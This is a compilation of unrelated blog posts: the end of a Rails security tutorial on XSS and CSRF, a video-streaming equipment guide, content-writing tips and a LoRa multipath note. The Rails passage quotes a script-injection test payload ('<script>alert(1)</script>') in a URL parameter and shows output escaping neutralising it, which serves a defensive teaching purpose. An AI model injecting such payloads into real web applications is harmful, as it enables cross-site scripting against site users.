where ?blog_url = <script>alert(1)</script will be escaped with the html_escape function to generate this: User Blog &lt;script&gt;alert(1)&lt;/script&gt;gt; < > b </ > b You can see that all special characters have been escaped and replaced with characters based on the replacement hash. Nice right? So to reiterate its a good practice to escape all application output especially when displaying user input. Simply use the or its alias h() and you’ll be fine. escapeHTML() function Conclusion We’ve only just considered two relatively common vulnerabilities but there are still others and even emerging ones. Hence to develop and maintain the security level of web applications, it is really important to keep up to date on all layers of security and know your “enemies”. Read security blogs constantly, subscribe to , make it a habit to update and run security checks on all your web applications. Ensure you run security checks manually also. There is a good static analysis tool that can help identify porosity in your Rails apps — Brakeman — you can find the docs , it can also be run as part of your continuous integration test suite with a tool like CircleCI. I wouldn’t forget to mention this effective . They also run a good . security mailing lists here Cross-Site Scripting Cheat Sheet security blog If you feel you need to understand CSS Grid and Flexbox layouts better in terms of when to use each, feel free to check out my . previous article Kindly reach out to me if I made a mistake here or perhaps you have other recommendations. Thanks a bunch!!! Come Say Hi 💜 — GitHub https://github.com/mikenath223 — LinkedIn https://www.linkedin.com/in/michgoldenukeje/ — Twitter https://twitter.com/MichgoldenU

Rails Security: Eliminating CSRF and XSS Vulnerabilities

Watch the Video Review, here: https://www.youtube.com/watch?v=xUPUrbRWaWc Range of Total Cost: $200 to $450 1. Webcam — NexiGo https://www.amazon.com/Microphone-Streaming-AutoFocus-NexiGo-N680P/dp/B08CL56SDS Anything with 1080p HD quality, but this would be mind pick, based on lots of research and comparisons. Whatever you get, it also needs to come with software, which allows for controlling the image coloring and contrast output. 2. Lighting — Softbox Lighting https://www.amazon.com/HPUSN-Professional-Photography-Continuous-Reflectors/dp/B07NBP6D98/ — Portable Photography Lighting https://www.amazon.com/Neewer-Portable-Photography-Lighting-Adjustable/dp/B07YFY7H7J I use the full Softbox Lighting solutions, and they sit to the sides of my desk 24/7/365. I’ve never had to replace the bulbs, over the few years I’ve had them. If you didn’t want such a cumbersome lighting solution, then the smaller portable lights may work better for you. Either way, you’ll have to use your webcam software to correct the coloring, or you’ll look white-washed. 3. Backdrop — Generic Stand https://www.amazon.com/Studio-Adjustable-Background-Backdrop-Support/dp/B00MTF6ZVC — Two Backdrop Sheets https://www.amazon.com/Elegant-Comfort-Wrinkle-Free-Egyptian-Quality/dp/B01MEEXIQD/ You don’t need paper, so I just use a black king size bedsheet as a backdrop. I also don’t use a backdrop stand, but rather I fashioned something from Home Depot using PVC pipe, and nailed it to a beam on my ceiling. With two sheets, I can part them, and walk through the area unhindered. I have a large desk behind mine, where my scraping servers reside. 4. Microphone — Cheaper https://www.amazon.com/dp/B07QLNYBG9/ — Better https://www.amazon.com/Professional-Condenser-Microphone-Streaming-Podcasting/dp/B07QKQJL17 Make sure to grab a “ ” as well. If there are any issues with availability, then just make sure you get something that is at-least above the $60 price range, and that has a desktop mic stand. mic cover foam windscreen You don’t need to have a mic holding stick that sits right-up next to your face, unless you want it to sound like you are a radio broadcaster. This is a silly style that is preferred by the podcasting culture, but it’s totally unnecessary. You can set the mic about 1ft away from your face, on your desk, out of the view of your webcam, and it will still sound great. 5. Headphones — Cheapest Pleather Studio Monitors https://www.amazon.com/gp/product/B07T8MKM94/ Cheapest Non-Pleather Studio — Monitors https://www.amazon.com/Samson-SR850-Semi-Open-Back-Reference-Headphones/dp/B002LBSEQS/ — Best Non-Pleather Studio Monitors https://www.amazon.com/Philips-SHP9500S-Precision-Over-ear-Headphones/dp/B00ENMK1DW I got my current pair of Studio Monitors over at Guitar Center on a clearance sale, years ago. They were $30, marked-down from $70, so that’s an option, as well, if you wanna see some pairs locally. Pleather is cheap, but every two years your pleather products will begin to flake and disintegrate, so anything made with pleather is NOT a cost-effective long-term investment. 6. Recording Software — Faster https://www.screencastify.com/buy — — More Flexible https://obsproject.com/ FREE (any platform that supports LIVE broadcast, like YouTube or Facebook) I still use Screencastify for all my screenshares, but it is VERY limited. The main reason I use it is because of it’s direct connection to my YouTube channel, which allows me to save a ton of time. The output is higher quality, and significantly more flexible, with OBS, but there is a small learning curve, and it takes some handling to get your videos to a finished state. You can also just use a LIVE broadcast utility, like the ones offered by Facebook or YouTube, etc. There are some advantages to doing your on-page beforehand, but if you make a mistake, or accidentally reveal some sensitive data, then there’s a bit of risk involved. 7. Editing Software — FREE https://shotcut.org/ (or none at-all, which is my preference) Here is my video guide for how to use this software — FREE https://inkscape.org/ (for thumbnails) Here is my video guide for how to use this software As far as editing, unless you are trying to do something comedic, then the speed doesn’t need to be at the obnoxious Vine’s or TikTok level of editing that people have become accustomed to. I’m also intentionally leaving-out a section on stock media and outsourcing, because you don’t really need it, and incorporating that stuff will take more time than most of your videos take to actually record. Once your channel starts bringing-in big traffic, then you can circle-back, and start incorporating more sophisticated media, but for now, my recommendation is to not waste your time with it. If you make half an image a picture of your face, and the other half a text description, or basic icon, then you’ll be ahead of most of your competition. You can also skip making thumbnails altogether, then go-back and add something nice, later on, if a video starts gaining traction. 8. YouTube SEO and Strategy — YT Keywords https://keywordseverywhere.com/ I sometimes use a tool called “ ” for YT keywords, and insights, as well. MorningFame That tool tells me that the majority of my traffic, which is small yet still gets me steady subscribers, comes from internal YouTube SEO. So, it makes a big difference to invest time into setting your on-page features, like titles, description, hashtags, and tags, with the appropriate keywords you wanna rank for. It’s ideal to vlog everyday, but any level of frequency will get you progress, using any kind of keyword research. Getting your videos embedded, on other sites, will increase rankings a bit, and link-building works, here, as well, but the main thing is to do good on-page, and create a lot of content. You can always improve rankings later, if something is on-its-way to ranking for something legitimate. Make sure to put your most important link at the very top of your description, as a small part of that area is visible without needing to click “ ”. show more If that link is also a location where you have embeded that video, then you will receive a powerful SEO boost for both properties. Follow-Me! :) You can join my mailing list, if you wanna stay up-to-date with all my free content and innovations: https://sendfox.com/getivan Best to you, and thanks for reading! https://www.getivan.com/ Previously published at https://getivan.medium.com/ivans-guide-to-video-streaming-equipment-for-pc-8606f15c434

Your Guide To Video Streaming Equipment for PC: 2021 Edition

In this article, I will be writing about those things that should be remembered when writing content. This article is basically about what I do when writing content. However, this is my third article on my website. But, I have been working as a content writer in Truemark Technology. You can check out my articles on . Truemark Blog I won’t say that you should also do what I have been doing. I am still researching and still learning. So, you can also research and find your own ways to write content. I would be very happy if this article can help you to get starting. So, let’s dive into the topic right away. 7 Effective Content Writing Tips Research Article Topi c The first thing that I do is research. I research and try to get an idea on what should be my next topic, what am I going to write about next. In the process, I use different tools like for article topics and keywords. These tools help me to get an idea of what people are searching for on search engines. AnswerThePublic , Google Search, Google’s People also ask for and Google’s Searches related to sections But, you need to remember that while doing this, you shouldn’t duplicate the content from other websites. Find your own style and create original content. Find the article topic, research everything about it, and start writing your own content that is unique in its own way. Create A Framework The next thing that I do is list all the topics and headings that I cover in an article. Doing this helps me to know what I need to cover in my article so it makes it easier for me to start writing. For example, when I write an article about SEO, I basically list headings related to SEO like what, why, how, and so on. This way, I have a clear vision of what to write. I save a lot of time by creating a framework. Start Writing Once my research is complete and my framework is ready, I start writing. I never write my article in one go. I take short breaks and continue my article. This helps me to refresh myself. I feel more focused every time I start writing after the breaks. I won’t say that you should also do the same. Some people can write continuously until they finish their article and some people take their own time, take breaks, and slowly finish their article. Proofread Once I finish my article, I always review my article because no one likes to read an article full of grammatical errors. Your article always must be error-free as much as possible. Therefore, I use Grammarly extensions for Chrome. So, whenever there are some mistakes, it gives me suggestions and I correct those mistakes immediately. Sometimes, we may miss some errors so it is better to review your article more than once. Another benefit of reviewing your article is that you may have missed something very important while writing so you can add such missing sentences or words. And even you can correct the mismatched words or sentences. Always remember to make your content interesting, valuable, and error-free as much as possible. Search And Design Images Images speak louder than words. We humans have nature to learn more from images rather than only text. Images are more appealing and make it easier to convey information. So, the best practice is to use relevant images in your article. You can also use videos in your article. I use different websites such as to download non-copyrighted images for my article. But remember to optimize your images before using them in your article. Bigger the size of the images, the more loading time of your website that will affect your SEO negatively. Pixabay , Pexels , Unsplash And, I use to design featured image for my article. You can also use it for designing your own images necessary for your article. Canva Work On SEO Now, the most important part is obviously SEO. SEO is like an engine of any content or any website on the Internet. Without SEO, it is impossible to rank on search engines. Users trust search engines so it is important to optimize your content and website as per the guidelines given by search engines. The higher the rank, the more will be the traffic on your website. As a result, your digital presence will skyrocket. The most important part of SEO is to find the right keywords for your content. The right keywords help your content to reach the right users. The first thing that a user does on search engines is typing the keyword to get his/her query answered or get the content that he/she wants. So, we need to find those right keywords and create valuable and relevant content around those keywords. Users will be happy and we will be too. It is a win-win situation for both. I use to find the right keywords for my content like Ubersuggest, Google Keyword Planner, Answer the Public, and so on. Sometimes, I research keywords and create my content around those keywords, and sometimes research keywords after I finish my content. It depends on the situation and content. Mostly, I prefer the former. different SEO tools I use Rank Math SEO WordPress plugin to work on On-page SEO. It is one of the best SEO plugins that suggests what needs to be done on your content to increase the chance of ranking higher. You just need to do what it suggests. If you want to know more about free SEO tools by Google, here is the link: Free SEO Tools by Google. Below is the screenshot of the Rank Math SEO WordPress plugin. Publish Content Once everything is ready and when I am 100 percent sure that my content is good to go, I publish my article. In Conclusion These are the basics of creating content. This is what I do when creating my content. But it doesn’t mean that after creating your content and after working on SEO, your content will be ranked immediately. It takes time to see the result. Search engines need to crawl your website and index your website. So, you need to have patience. Without worrying too much, you just need to create quality, valuable, and relevant content. Your hard work will surely pay off one day. I hope this article helped you. This post was also published on Kiran - Personal Blog .

7 Ways to Improve the Internet with Well Written Content 

Recently, we came across this great paper ( ) about modeling the impact of multipath on Semtech's LoRa modulation.  Specifically, it models Rayleigh flat fading, which is observed in urban and indoor use-cases.  We had just finished testing in an environment with heavy multipath interference (an airport parking garage).  The results were so one-sided that we wanted to find any research that might either validate our results or, potentially, shed light on something we were doing wrong in the experiment.  Fortunately, we found just the paper, and it corroborates perfectly with the experimental results we achieved. link, free PDF LoRaWAN vs. Haystack’s LoRa XR2 The presentation below describes our findings.  If you’re too impatient to read it, here are the basic findings: yielded an observable 30dB sensitivity improvement over LoRaWAN in the Rayleigh flat fading environment, and this matches the theoretical model.In such environments, system integrators can use higher data rates with Haystack XR2 to trade-off QoS vs. energy efficiency vs. channel density in such urban or indoor environments. Haystack XR2 By JP Norair Get the latest about Haystack by signing up for our newsletter . here Previously published at https://medium.com/@patburns/lora-in-multipath-theory-vs-experiment-fae2ccd10242

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